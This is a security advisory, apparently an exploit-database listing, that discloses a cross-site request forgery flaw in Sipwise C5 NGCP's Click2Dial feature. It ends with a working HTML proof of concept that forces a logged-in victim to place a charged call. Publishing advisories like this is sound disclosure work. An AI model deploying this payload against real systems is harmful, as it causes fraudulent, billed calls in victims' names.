Sipwise C5 NGCP CSC Click2Dial Cross-Site Request Forgery

2021.04.23
Credit: LiquidWorm
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

# Exploit Title: Sipwise C5 NGCP CSC - Click2Dial Cross-Site Request Forgery (CSRF) # Date: 13.04.2021 # Exploit Author: LiquidWorm # Vendor Homepage: https://www.sipwise.com Sipwise C5 NGCP CSC CSRF Click2Dial Exploit Vendor: Sipwise GmbH Product web page: https://www.sipwise.com Affected version: <=CE_m39.3.1 NGCP www_admin version 3.6.7 Summary: Sipwise C5 (also known as NGCP - the Next Generation Communication Platform) is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail, conferencing etc.) that can be configured by end users in the self-care web interface. For operators, it offers a web-based administrative panel that allows them to configure subscribers, SIP peerings, billing profiles, and other entities. The administrative web panel also shows the real-time statistics for the whole system. For tight integration into existing infrastructures, Sipwise C5 provides a powerful REST API interface. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: Apache/2.2.22 (Debian) Apache/2.2.16 (Debian) nginx Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2021-5649 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5649.php 13.04.2021 -- <html> <body> <form action="https://10.0.1.7/call/click2dial" method="POST"> <input type="hidden" name="d" value="%2B3897031337" /> <input type="submit" value="Dial and charge!" /> </form> </body> </html>


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